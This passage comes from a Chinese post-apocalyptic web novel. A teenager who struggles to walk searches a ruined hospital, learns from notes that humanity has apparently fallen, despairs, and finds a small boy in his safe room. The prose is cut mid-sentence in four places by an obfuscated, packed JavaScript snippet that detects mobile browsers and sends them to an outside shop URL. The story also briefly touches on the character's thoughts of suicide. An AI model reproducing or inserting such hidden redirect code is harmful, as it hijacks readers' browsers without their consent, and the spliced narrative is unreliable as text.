接着他拆下医疗仪器的电池组,用玻璃罩和导线改造了个小手电筒。 做完这些后,寂染已经累得满头大汗,他看了一眼时间,发现已经是下午两点了,可外面仍旧漆黑一片。 观察好几天,他发现这里没有白天,这也能解释,为什么怪物的眼睛退化了。 所以,只要他不出声音,就能准确地避开怪物。 虽然这些怪物有智力、有耐心、还会设下陷阱,但他现在有手电筒了,可以观察怪物的动向,躲开危险。 更何况他比普通人对黑暗和独处更有耐心,听觉也要比其他人厉害得多,只要别学恐怖片里作死的配角,他一定能安全地活下来,最后成功找到人类聚居点。 寂染掰着指头,一项项分析着自己的优点,找回了一丢丢信心。 休息充足后,寂染在第二天早上,电子钟屏幕标记的清晨九点出发。可外面依旧一片漆黑,看不到一丝阳光。 被卡在楼板里的怪物已经奄奄一息。它不再花费力气和寂染周旋,而是虚弱地瘫在楼板上,胸腔缓慢起伏,用一双血红色竖瞳毫无表情地望着眼前的人类。 寂染可不敢靠近它,走廊不能用了,他只能选择另一条路。 在安全屋旁边有个安全通道,如果是普通人,这并没有难度。但他现在还需要用轮椅,上下楼梯会非常艰难。 “只能爬上去试试。”寂染望着向上的楼梯,看着密集的台阶,深吸一口气。 把轮椅留在楼梯间,寂染撑住扶手,艰难地上着台阶。每次脚掌碰触地面,都会有触电般酥麻感穿过皮肤直达骨髓。从脊椎到腿部,被甲片覆盖的地方,都会变得又麻又痒。 他敏感地感觉不舒服,但没有到无法忍受的地步。通道里闷热潮湿,等爬到楼上的时候,寂染已经累得满头大汗。 他坐在地上休息了一阵,在简单地喝了一些葡萄糖补充能量后,才继续挪动步子,最后跌跌撞撞朝通道大门走去。 出去前,他特地研究了一下门边的消防安全疏散图。 他即将去的这一层是第五层,也是整栋建筑的倒数第二层。 所有看诊室都采用的经典回型廊道布局,一个紧挨着一个,密集地分布在走廊的一侧。中间是镂空的,安装了上下楼的电动扶梯。 把整张地图牢牢记住后,寂染抓住门把手,原地深呼吸片刻,等做好心理建设后,才动作轻缓地把门打开一条缝,随后打开自制手电借着微弱的光朝里观察。 楼道里一片漆黑,没有任何动静,但植物长得非常茂盛:墙上和天花板上像是铺了一层厚实的地毯,爬满了深紫色的藤蔓,开出许多色彩浓艳的花朵,从天花板垂下,就像瀑布一样。 而地上的杂草已经有一米多高,穿插许多叶片有刺的大型植物,看起来就像灌木丛一样,几乎挡住所有视野。 未知是最可怕的。 咽了一口唾沫,寂染扶着门板,小心翼翼走了进去。 微弱的光束照亮了地上的裂痕,疥螨似的苔藓爬满了墙角,偶尔能在茂密的草丛中间看到彩色的塑料,反射的光线下是碎裂的玻璃渣,还能看到撕裂的衣物碎片。 但没有人,一个人也没有,连尸体也无从可循。 四周是死一样的沉寂,没有车水马龙,没有人走动的声响,一切悄然无声,只有他轻浅的呼吸声。 寂染路上经过了几间诊室,可惜里面什么也没有,像是曾遭遇过洗劫,所有的柜门都被暴力破坏,不剩一点物资,只有文件和纸张洒落了一地。 他还看到了被破开的保险柜,里面堆叠着许多钱,但这种时候,钱是最没用的东西。 寂染只想找食物,也想找答案,或许是日记本,或许是报纸,但什么也没有。 丢下一张字迹模糊的病历,寂染失望地回到走廊。 时间不知道过去了多久,但汗水已经浸湿了衣裳,他有些头晕,只能停下脚步,靠在墙上缓缓喘气,等气息喘匀后,才继续朝前走。 “电动扶梯……” 回忆着地图,计算着最短的距离。他在一个拐角的墙壁上找到了去往电动扶梯的指示牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240335|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 指示牌只剩下了一小半,但寂染记得那个楼梯一样的符号。 他顺着指示的方向走了几步,可很快被一扇门挡住了去路。 那扇门后面堆满了大块的水泥板和柱子,其中的钢筋深深贯穿进了两边的墙壁,把整条通道彻底堵住,他只能放弃这条捷径,绕外圈的走廊过去。 然而外圈的走廊也更加艰难,顶层垮塌了一半,楼板和砖块砸在这层的通道上。那些作为装饰品的建筑垃圾,现在全堆叠到上面,成了一座座连在一起的小山包,表面还长满了湿滑的苔藓……他不得不用嘴咬着手电,手足并用地慢慢攀爬。不过幸运的是,一路上,他没有再遇见任何危险。 不知道爬了多久,寂染终于看到开阔的地面,他急忙拉住一旁的钢筋,想借力跳到地面。却没想到踩住砖块的脚一软,整个人直接滚了下去。 地面长满了植物,这一摔并没有伤到哪里,但寂染吓了一跳,他躺在地上好半天,才缓过神,撑着地坐起身来。 手电不见了,四周再次回归黑暗,寂染辨不清方向。他试着找了找,但周围的草丛太密了。他实在找不到,只能摸着墙壁,跌跌撞撞继续朝前走。 没有光后,时间变得异常漫长。在走到没力气的时候,他选择原地坐下,从包里拿出营养液慢慢吃。 这过程,他突然感到庆幸,幸好自己提前作了准备,不然真的要被困死在这里。 他不能再探索了,他需要回到安全屋,重新制作一个手电。 可是原路返回已经不可能,在没有光源的情况下,他没有信心能从那堆残垣断壁堆砌的障碍物上爬过。 但这层楼是回型通道,无论怎么走,总能找到出口,无非是路径的远和近罢了。 寂染回忆着那张地图,他记得攀爬过程中,曾看过一个门牌号,如果门牌位置没有错误,那他所在的位置其实离自己上来的安全通道很近。 他只需要向右拐,经过洗手间,再直走…… 跟着记忆,寂染扶着墙小心翼翼地前行,右拐,紧接着,他听到了水滴声。 这时候,寂染忍不住高兴起来,他确信,只要在直走几十米,就会回到上来的安全通道。 他不禁加快了脚步,可刚走了十几步,他突然被一道门挡住了。 寂染呼吸一滞,停住了脚步——这道门在地图上是绝对没有的,难道他又走错了? 意识到自己再次迷路了,寂染心里恐慌了起来。他摩挲着抓住门把手,试着打开门,想要寻找信息。可打开门刹那,一道刺眼的光束直射出来,寂染立刻闭上了眼睛。 一个有电的房间,意识到这一点,寂染慢慢睁开眼,随即他惊讶地张大嘴。 这是一间和自己病房很像的安全屋。 地图上,这个房间没有任何标识,甚至最外面的那扇门涂着最普通的深绿色油漆,看起来很像医院的杂物间。如果不是误打误撞,寂染可能很难发现这里。 这样掩人耳目的做法,似乎只是为了隐瞒他们的存在。 可是这间屋子此时已经打开了。 5. 找妈妈的路上(五) 他看到那扇让他发愁半个月的金属门被打穿了一个洞,光线就是从洞里透出来,溢满了狭窄的外间。 他小心翼翼往里看,发现没了声音后,里面再次恢复了黑暗。 寂染心脏咚咚跳着,他用力砸了下门,门顶部的灯立刻亮了起来,寂染有些惊讶,这是他那间没有的。 借着光线,他慢慢地走了进去。 里面是几乎完全一致的布局,只是这个房间要小一些,而悬在半空中的蛋比他的睡眠舱小上一半。 仔细观察了下四周,寂染松了口气,屋里没有打斗或者翻找的痕迹,更没有血迹。 这时候,寂染突然想起了药柜的位置。果然如他所料,里面的东西没有被拿走,甚至根本没有用过。 寂染很兴奋,他找到了比自己病房还要多的物资。 他甚至找到了强光手电筒,还有便携电池,手表,罐头,背包。 他还找到了一个类超人的英雄玩具,就绑在睡眠舱的上方。 寂染忽然沉默了,其实他早该意识到了,这间病房的主人是个小孩,看房门的破坏程度,那孩子估计凶多吉少。 说不出心里什么滋味,寂染深吸了口气,揉了揉眼睛,又开始翻起东西。 他想找到更多能加大他生存几率的物资,到这种末世,比起生存来,任何情感都显得多余且奢侈。 但当他翻到一些小孩的衣物时候,他还是停下了动作。 那些衣服都是崭新的,还没取吊牌,他不由想起自己的家人,也是这样爱护自己…… “啪——” 思路被打断,寂染低头,发现几张贴在一起的便签纸落在地上。 寂染连忙弯腰,把纸捡起来,就看见这样一段话。 【——末日真的要到来了,人类自食恶果,毁灭了近四分之三的人口,但那仅仅是一个月的时间里,情况还在继续恶化。这里很可能会是人类最后的据点,为了以防万一,我们采取了很多措施,希望能躲过这场可怕的灾难,无论采取何种办法……就算以后会受到批判……一切为了人类。】 第二张便签——【之前的实验全部失败了,但不是没有希望,各国的军队九死一生,救回了全球最顶级的科学家们,他们将施展魔法,结束掉这场噩梦……愿神怜悯我们。】 第三张——【实验要开始了,我们都很激动,这一次是人类生死存亡的时刻,我们所有人都会团结在一起,不在乎语言种族信仰,历史告诉我们,胜利终将属于人类!人类是不可战胜的!】 寂染深吸一口气,能感到写纸条的人内心的激动,然而翻开最后一张,然而那上面却没有字了。 完全空白一片。 他怅惘地眨了眨眼,可很快,他又想实验肯定成功了,那么多世界最顶尖智慧的人类聚集在一起,无论什么样的难题都能够破解。 可能过程很艰难,比如这所医院变成废墟,但那并不重要,至少保存下了人类的火种,人类的文明还在某处延续着。 但也因为人类的数量减少,世界遭受太大的破坏,他们已经无力再重建这片废墟,所以他们选择离开。 这也就解释为什么找不到人类和任何相关文件,因为人们撤离的时候把资料全部带走了。 寂染有些激动。 “一定还有人活着,只要我造出无线电收音机,就能得到外面的信息,找到人类基地。” 寂染反复这样告诉自己,同时打算把得来不易的便签纸收好。 突然,他发现第三张便签的背面竟也有字。 只看了一眼,他兴奋的眼神变得空洞起来。 那纸上明显是不同的字迹,有点像有人随意拿了这几张纸,只为匆匆记录下,或者为了嘲讽前一张信心十足的宣言,写下了极为潦草也充满讽刺的中式英语。 ——Failed.Humanover. 寂染沉默地拿着四张叠在一起的便签纸,反复看了许多遍。 这是他唯一收获的信息,里面告诉他三条,关于现在的世界。 人类的确面临末日了。 而幸存者基地,人类最后的希望,堡垒……就是这家医院。 但现在…… 寂染走到了墙边,贴着墙缓缓坐下,他把头埋在膝盖里,轻轻吸着气。 一下紧接着一下。 十几秒后,吸气声越来越急促,露出的脖颈鼓起几道交错的青筋,紧接着,他喉咙里发出一声变了形的呜咽。 寂静的房间里,只有他压抑的抽气声。 浓重的恐惧和迷茫在压抑许久后爆发,随之而来是无可奈何的痛苦,还有看不到未来的痛苦。 下一刻,他撕心裂肺地哭了起来,汹涌而出的眼泪直直砸在了地上。 他虽然存活下来,但现在的世界,早已经分崩离析,只给他留下一片生存艰难的废墟,所有对他有意义的人和东西也都从他的生命里消失了。 在这个前途未知的世界,好像只剩下他一个人了。 不知道过了多久,他哭够了。 红肿着眼睛,寂染站起身,他一边用袖子使劲来回擦着眼睛,一边扶着墙慢慢走到那堆衣服前。 他在其中挑了一件有英雄的套头衫,这个英雄图案有很多,应该像他们那个时代的奥特曼一样,受孩子欢迎,还有条怪兽头的深蓝色背带裤,一双会发光的运动鞋。 把它们放进睡眠舱,摆放成人形,寂染双手合十,很认真地拜了拜。 “愿你安息。” 回到四楼,寂染已经筋疲力尽。 运动量已经完全超过负荷,他浑身的骨头和肌肉,尤其是腰部以下酸痛得厉害。 而他内心燃起的干劲也被突如其来的噩耗驱走——世界真的毁灭了。 他坐在电动轮椅上,像过去瘫痪般,软软地靠着扶手,脸上还残留着干涸的泪痕,手里则紧紧握着一个英雄的塑胶模型,任凭轮椅带着他缓慢朝前移动。 没有打开灯,死寂的黑暗里,轮子摩擦地面的声响格外明显。 被卡在洞里的怪物被惊动了,它倏地挺起身,合不拢的嘴里掉下拉长的涎水,正不停朝声音的方向“嗬嗬”着龇起牙。 巨大的悲伤驱走了恐惧,寂染目不斜视,漠然地到怪物身边不远,调转轮椅回到了安全屋,留下身后怪物发出一声比一声大的咆哮。 晚上没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240336|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有胃口,但寂染还是强迫自己吃了两管营养液,吃完他躺到巨蛋里,让蓝液浸泡身体,滋养拉伤的肌肉,眼睛却始终睁着。 他不敢闭上眼,因为那样黑暗就会不声不响地吞噬他。 他大脑一片空白,什么也没想,只有空白,无边无际的空白。 周围太安静了,没有车流穿梭的噪音,没有隐约的说话声,连嘀嗒的水声都消失了。 没有人告诉过他,安静原来那么令人害怕,那么令人发狂,那么的……让人绝望…… 这里简直像是一座被抛弃的死寂之城。 他在思考死亡,那不失为一种解脱的选择,可他怕疼,好像没有一种死亡方式是舒服的。 他盯着头顶灯泡散发出来的光晕,感觉自己陷入了漩涡,正随着漩涡天旋地转,一点一点朝深渊的深处下坠。 意识模糊中,他好像又听见了那古怪的异动。 在看不到尽头的深渊里,有什么东西,黑压压的一片,正攀爬在崎岖的石壁上,像潮水一般涌上来。 下一刻,那些东西蔓延上来,吞噬了他。 钻进他的鼻腔,耳朵,还有那道贯穿身体,还在不断外渗血的伤口。 他歇斯底里想尖叫,但一张开嘴,那东西便又迅速涌上钻进他嘴里,堵住了他的喉管,甚至还撬开他紧闭的眼皮,疯狂地朝眼球的缝隙里挤—— “呯!” 寂染猛然惊醒,脸色煞白,还吓出了一身冷汗,心脏咚咚跳着——只是个噩梦。 “呯!” 又是一声,睡眠舱剧烈地颠簸了一下。寂染条件反射地抓住舱壁,坐起身来,他好像听到怪物在惨叫。 那种声音尖锐刺耳,寂染从没听到过,他的身体不由自主地发起抖来。 嘶吼声继续维持,伴随着不停又捶又打的动静,它仍然挣扎着想脱困。 怪物好像终于到达了极限,发出的喊叫既痛苦又绝望,一声比一声凄厉。 寂染紧紧抠住舱门上的锁眼,一颗心已经提到了嗓子眼,浑身都在打着哆嗦。 不知道过了多久,声音终于平息,周围又回到那种空间凝滞的死寂,寂染只听到自己紧张的喘息声。 他刚想动,对面又传来惊心动魄的一声惨叫。 他赶紧捂住嘴,把自己想象成雕塑。 心脏却咚咚剧烈狂跳着,时间格外漫长,不知道多久,寂染感到腿有些发麻,凝滞的空气才开始流动。 寂染放下手,深吸一口气,没敢作声,只紧紧盯着前面的门。 又过半晌,的确没有再生出任何动静。但寂染却仍然不敢掉以轻心,他跳到地上,弓着腰,踮着脚尖,轻手轻脚走到门边。 然后用手抓住门把,使劲拽了两下。 门依然纹丝不动,这让寂染松了口气。 整座医院都坍塌了,但这间病房却奇迹般的完好如初,所以寂染称呼它安全屋,是真正的安全。 只要他不使用开门权限,任何东西都不能用外力把门打开。 但寂染还是忍不住害怕,他哆嗦着后退,退到离门最远的角落,拿了张毯子裹住自己,蜷缩成一团,只露出一双惊恐万分的眼。 6. 找妈妈的路上(六) 他在想,如果怪物出来了,那他是不是就要困死在这个房间里,永远出不去了。 在这里,一切声音在黑暗都格外清晰,他害怕又紧张,甚至有些杯弓蛇影,就连建筑伸缩时发出的动静,也能让他打起寒颤。 但等时间久了,害怕感就不再那么强烈,甚至感官都变得迟钝起来。 万物俱籁。 在温暖柔软的毯子里,寂染闻到熟悉的清洗剂的芬芳,像妈妈身上的味道,那让他最后一点恐惧都消失了。 他把下巴搁在膝盖上,汹涌的睡意很快涌了上来。紧接着,他打了个困顿的哈欠,沉重的眼皮突然支撑不住,要阖不阖,头也往下一点一点。 忽然,肩膀撞到旁边的柜子,发出一声沉闷的响。 寂染瞬间清醒,猛然抬头,朝门看去。 只见那厚重的金属门仍然紧闭,而门上的警示灯也亮着令人心安的绿色。 他脑中紧绷的那根弦刹那间松开,彻底放下心来。 又惊又吓折腾了一天一夜,寂染身心俱疲,已经到了身体承受的极限。但在这种地方,他还是没有安全感。 所以他没有回到睡眠舱,只是就着角落缩成一团躺倒在地。 地板冰冷又坚硬,他把那张灰棕色的毛毯拉到身上,原地滚了一圈,把自己裹成蚕蛹。 做完这一切,寂染已经坚持不住了,眼前的视野变得模糊,像隔了一层水雾。 隐约中,他听到门外传来小猫虚弱的叫声。 但因为声音实在太小了,显得有些模糊不清。寂染已经提不起精神去分辨那是什么,刹那间就陷入了深度的沉睡中。 但这一觉,寂染睡得并不踏实。 他始终处于模糊混沌的状态,像是清醒又像是在沉睡,分不清所处的场景究竟是现实还是梦。 有时候他感觉自己睡醒过来,一睁眼发现门洞大开,还不等他恐慌,下一秒,他又猛然再睁眼,像是这一次才是真正睡醒,门又是紧闭着的。 他反反复复梦到刚睡醒的场景,门有时候开,有时候关,实在过于真实。但从始至终,他都动弹不得,也发不出任何声音,像被什么重物死死压住,只有一双眼能动。 又一次睡醒,寂染终于能动了。他坐起身,头脑昏沉地朝门走去,这一次他听到小孩尖锐的哭声。 “奇怪。”尖锐的声音让寂染头疼得更加厉害,“这个梦太烦了,简直没完没了。” 嘴上这样说,他还是喊出指令。 下一秒门开,等看清外面的场景,他瞳孔微微一缩,面前居然坐着个脏兮兮的男孩。 被门后的动静惊动,男孩惊恐地回过头,聚满眼泪的眼睛刹那间爆发出光彩。 他停止哭声,从地上爬了起来,仰头看着寂染,喊了声:“妈妈!” 寂染的头又昏又涨,他原地站了两秒,低头看了眼男孩,又看了眼不远处消失的怪物。 “又是梦。” 得出结论,他看也不看男孩转身就走。那男孩立刻亦步亦趋跟上,等走到屋内,他仰头打量四周,在看到柜子上的英雄模型时,立刻举手指向它,冲寂染兴奋地“哈”了一声:“光耀战士!” 寂染一声不吭,重新回到角落,昏昏欲睡地躺下,把毛毯拉到身上,把自己裹成蚕茧。 男孩看寂染不理他,站在原地发愣。 这时,背后的门自动关上,“咔嗒”落锁,男孩浑身一颤,扭头看身后。 金属门板映出男孩拉得瘦长变形的身影,令人恐慌不安的黑暗瞬间消失不见,屋里只剩下温暖的灯光,还有熟悉的玩具。 男孩顿了顿,随后深吸一口气,踮起脚试图去拿光耀战士。 但没有成功,他个子太矮了,当他想跳起来的时候,脚心忽然传来一阵钻心的疼。 他连忙弯下腰,把自己的右边脚丫捧起,举到面前,发现上面布满了细小的伤口,虽然没有流血,但却依旧很疼。 男孩肩膀耸动了一下,忽然又想哭,眼泪在他眼眶里打转。 然而只掉了一颗下来,就被他飞快用手背擦掉,用只有自己能听到的声音说:“妈妈说,男子汉不能哭。” 自言自语结束,他用力吸了下鼻子,然后低下头,轻轻朝脚心吹了口气,又让自己哄着自己:“痛痛飞,痛痛飞……” 咒语果然有用,吹了一阵,疼痛感就缓解了。 男孩像捧着艺术品,轻轻把脚放下。这时候另一条腿却酸了,他不得不撑着旁边的墙壁,一瘸一拐地转个身。 这一转身,就看到躺着的寂染。 想起寂染刚才的态度,男孩眼神里有些茫然和惶恐,还有一些难言的委屈,他好像搞不清现在的状况。 过了片刻,他似乎下定某种决心,握紧拳头,步伐坚定走了过去。 可一靠近寂染,他又变得畏手畏脚。 他先试探着坐到旁边,看到寂染没有动,才小心翼翼地蹭到外面的毯子,找了个很小的角落躺了下去。 毛毯散发着一股淡淡的柠檬清香,这条毛毯让他想起自己的小床。 于是他偷偷把脸贴在上面,一边蹭着柔软的绒毛,一边目不转睛地盯着寂染看。 下一刻,寂染吐气,温暖的气息立刻喷在了脸上,男孩不由得咧开嘴,情不自禁靠过去。 过程中,他不小心拽了一下裹在身下的毯子,沉睡中的寂染呼吸陡然一滞。 男孩吓得浑身僵硬,连动也不敢动。 他看到寂染眼皮慢慢睁开,快速眨了两下眼,当瞳孔聚焦到他身上的时候,又显出几分困惑地蹙起眉。 男孩咧开嘴,露出一个欢喜的笑容。 寂染依旧没反应,他像是无视了男孩,目光径直从他身上掠过,最后投向大门。 几个呼吸间,寂染有些绷紧的情绪似乎放松下来,他用力朝上扯起毛毯,转过身继续呼呼大睡。 男孩松了口气,他睁着眼睛盯着寂染黑黑的长发,感觉自己像在主卧的大床上,看妈妈的后脑勺。 很快,已经再次陷入沉睡的寂染,发出了均匀的呼吸声。 听着那声音,男孩心里的无措和彷徨稍稍平息,他不自觉地放松了身体,紧跟着,睡意袭了上来。 但担心这是个梦,男孩强撑着不肯立刻睡去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240337|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他眼皮越来越重,困意犹如潮水般涌了上来,他幼小的身体实在抵抗不住,脑袋一偏,躺在柠檬味的毛毯上,沉沉地睡了过去。 寂染这混乱的一觉睡了很久,等再起来,已经到下午的两点过。 他惫懒地盯着天花板,没有立刻起身。 这时候,可能因为得到了彻底休息,寂染的心情舒畅了很多,连昨晚那种突如其来的焦虑感,也去了大半。 但浑身肌肉却疼得厉害,他轻轻翻了个身,还没翻到底,剧烈的疼痛便铺天盖地席卷而来。 他只能暂时保持着平躺的姿势,盯着天花板,默默地发呆。 随即他想起昨天夜晚发生的事,怪物似乎想要从陷阱里挣脱,发出声嘶力竭的惨叫,还把快要坍塌的这片废墟撞得摇晃起来。 “不知道那个怪物怎么样了?” 至于昨晚做过的梦,寂染已经完全不记得了,只觉得头昏脑胀,是睡眠过度和精神过度紧张带来的头晕感。 他一边用手揉捏着酸痛的后脖颈,一边从地上爬起来。 毛毯滑落,他站起身,双手用力展开,伸了个懒腰。 忽然,他动作顿住,疑惑地低头——有什么不对劲。 灰棕色的毯子下,有一块大小明显的鼓起,正在有节奏地一起一伏。 寂染睁大眼,整个人愣住。 怀疑又是梦,他狠狠掐了一把自己,尖锐的疼痛立刻袭来,他缓了好几口气,才确定:“这次不是梦。” 寂染完全不记得怎么回事了,他望向四周,却没找到任何漏洞。 整个房间修建得固若金汤,除开门,其他地方都严丝合缝,就连能源系统都是独立的,没有一根线和外面连接。 寂染再次低头看向那块鼓起,他不确定那是什么,但直觉告诉他,那东西是“活”的。 寂染做了个深呼吸,小心翼翼地靠过去。 把手放在毛毯边缘,他动作轻缓地掀开其中一角,短短几秒,他的心呯呯狂跳着,像节奏越来越快的鼓点。 随后,他视野里出现了一个握紧的小拳头——五根人类的指头,蜷缩在一起,只是很小,只有他巴掌的一半大。 紧接着是腿,脏兮兮的,却很软很短,像刚从稀泥里挖出的莲藕。 再掀开一点,是个男孩。寂染看到他起伏的胸膛,瘦骨嶙峋,单薄得能看到肋骨。 最后他把毛毯彻底掀到一边,他看到男孩熟睡的脸,寂染的大脑“嗡”的一下,这一刹那,他感到难以置信。 任何词汇和语句都难以形容他此刻震惊又惊喜的心情,就像在找不到出口的隧道里瞥见了一线光,在无边浩瀚的大海里发现了一座岛。 寂染怔怔地站在原地,半天发不出一点声音。 就在这时,男孩忽然发出一声呢喃,他在睡梦中哼哼唧唧,皱起细短的眉,又把手伸到身上抓着什么。 寂染连忙拉过毛毯,轻柔地盖在男孩身上。 过程中,他手指无意间碰到男孩的脸——是温暖的。 寂染深吸一口气,盯着自己的手,又盯着男孩熟睡的侧脸,眼睛一下睁大了。 7. 找妈妈的路上(七) 寂染手足无措地站在一旁,他不清楚怎么回事,房间里为什么会出现一个小孩,这完全超出他的认知。 但恐慌后,他内心深处又忽而生出几分其他情绪。无论再怎么坚强,寂染始终是个初中还没毕业的大男孩。 昨晚他思考了很久。 前生,他已经用完所有的勇气,对抗难以承受的病痛和醒不来的孤独。可醒来,却看到的只有残垣断壁,还有无边无际的黑暗,以及无处不在的危险。 他没有异能,没有强大的智慧,不是小说里无所不能的主角。 他只是个很平凡的少年,甚至到现在走路还很困难。 在没有大人的帮助下,仅靠弱小的自己,他真的能在这样可怕的世界活下去吗? 更加让他害怕的是,人类难道……真的灭亡了吗? 寂染从没觉得孤独这样的可怕,在悄无声息,又黑暗的世界里,他连哭都显得那么无力。 因为不会再有第二人问他,你为什么哭,甚至连骂他的人都没有。 这种全世界只剩一人的感觉,能把人活活折磨疯。 有那么一瞬间,他冒出了干脆就这样结束掉的想法。 可就在这个想法产生的数小时后,他再次醒来,宛如奇迹般发现,自己的身边,出现了一个比自己还小,还脆弱、单薄的孩子。 是神迹吗? 寂染忍不住鼻子一酸,低下头,打量小孩,偷偷向虚无缥缈的神提问。 他是无神论者,可这时候,却由衷希望神真的存在,因为眼前的孩子简直就像是神降下的神迹,为他带来活下去的希望。 现在他脑海里只剩下一个想法,就像所有生物埋藏在基因里繁衍的本能,他得保护他。 男孩的身份几乎不用猜,他肯定是楼上的那个他才祭奠过的孩子。 寂染不知道他怎么存活下来的。他有很多猜测,最可能的是,这孩子一直躲在五楼。 医院虽然变成了废墟,但很多地方还是安全的。至少他昨晚在楼上探索了一天,甚至还差点迷路,都没有遇到任何危险。 而这个孩子,很可能昨天就看到自己,一个无人废墟里的活人,也是孩子在黑暗世界里唯一的希望。于是他忍不住跟了过来,偷偷尾随他,跟着他下来。 这时候,男孩转了个身,换了个趴着的姿势。寂染顿了顿,起身把昨天捡回来的床单翻出来,叠了叠,做成一个枕头,让男孩枕在上面。 待他做好这一切后,又起身去拿了罐头和葡萄糖,把盖子全部打开,虚掩着放上面,摆到了男孩能拿到的小柜子上。 再把放在高处的玩具模型拿下来,放在了男孩的枕头边。 随后,寂染又收拾起探险用的东西,例如手电筒,营养液,药品,还有刚才拆下来的灭火器——因为他打算再去一次五楼,去取一些孩子用的必需品。 比起自己的安全屋,那间关不上门的小屋子,实在太危险了。 来到门边,寂染的脚步迟疑了一下,他盯着那扇门,做了个长长的深呼吸,然后才弯下腰,对着门边的电子屏,小声说:“开门。”又立刻道:“静音!” 下一秒,寂染退后一步,把灭火器使劲摇晃两下,取下保险栓,把喷头举到身前,眼睛一眨也不眨地盯着将开的门缝。 “咔哒”锁开,屋内的光线照到外面。 寂染的心悬到嗓子眼,他大气不敢出,紧张地把喷头举起,对准记忆里怪物所在的方向。 但下一秒,他整个人怔住了。 原本卡在楼板之间、被钢筋贯穿的怪物,不知怎么,竟然消失不见了,只剩下走廊中间一个巨大的洞。 寂染先是一怔,随后迅速反应过来,他打开手电筒,照亮那些黑暗的角落。 然而一无所获,甚至除开大洞周围,再没有被撞掉的水泥板和石灰。 就和那些消失的人类一样,怪物也莫名其妙消失了,甚至没有留下一点痕迹。 也许是直接跳到楼下去了,寂染推测。 但他依旧不敢放松警惕,那东西有一定的智力,他知道这个地方有自己这么个新鲜的食物,肯定不会轻易放弃。 考虑到怪物会躲藏,他关上门,绷紧全身走进黑暗,然后把手电筒绑在轮椅上,用远程遥控器指挥它在四周转了一圈。 光线照过的地方,除了疯长的藤蔓,只有建筑的残垣断壁。以怪物庞大的身躯,很难在这种地方成功藏匿身体。 确认怪物的确不在这里后,寂染绷紧的肩膀垮塌下来,长长松了口气。 因为怪物的体型决定了,一旦它出现,那必然会地动山摇。 到达五楼,寂染没有到处乱晃,而是直奔这层安全屋,去取了需要的东西——小孩的衣物,书本、玩具,还有纸尿布——这倒是没想到,印象中那么大的孩子应该用不着了。 但出于不浪费原则,他还是装进了塑料袋里。 这次他搜索得更仔细一些,在柜子后面缝隙里,找到了那种可以背身上的便携水壶。 背带是英雄和怪兽的卡通图案,色彩花花绿绿的,小孩子应该很喜欢。可惜里面的水已经变成浑浊,还长了一层绿毛,把瓶子也给污染了。 但寂染并不打算丢掉,在现在这个世界,任何物资都是宝贵又稀少的。 他把水壶里变质的水倒掉,然后用卫生纸蘸取酒精仔细擦了擦。想着等找到水,到时候用开水煮一煮,应该就能用了。 这些天,他补充水分都用的是葡萄糖,那东西在他安全屋里,装满了整整一柜子,所以喝的水暂时不缺。但想到小孩的灰头土脸的模样,他还是打算去找些水。 可无论是男厕和女厕,水管里都是干的。 就算找到了装有水的容器,但因为没做密封,里面的水也已经全部变质,甚至生出长相有点恶心的虫子来。 寂染只好放弃打水的想法。 回到房间,他就准备离开了。但他装得实在有些多了,只能放弃了一部分,比如书。 他只带了一本童话书,虽然他从没有读过,但他在书的第一页上,看到几个歪歪扭扭的幼体字——星岑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240338|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那孩子原来叫做星岑。 下楼梯比他想象得更难,因为今天他的肌肉酸痛得更外厉害。 于是他把打包好的东西重新整理了一遍,把易碎物品塞到最里面,把柔软又有韧性的东西放在最外面一层,比如纸尿裤衣物类的用品。 然后把东西直接从五楼扔下,“咚”的一声,掉到四楼的楼梯间里。 这个办法意外的可行,所有物品完好无损。 寂染松了口气,把东西扛到电动轮椅上,便用遥控操纵它走剩下的路。 自己则在后面扶着墙,坐到楼梯上休息——他的两条腿,已经开始无法控制地打起颤来。 他一边揉捏着腿,一边无意识地把目光投向四周。 当目光落在前方时,寂染微微一愣。 那是一块从一楼直通到顶的玻璃幕墙,从里面能看到外面的景色。 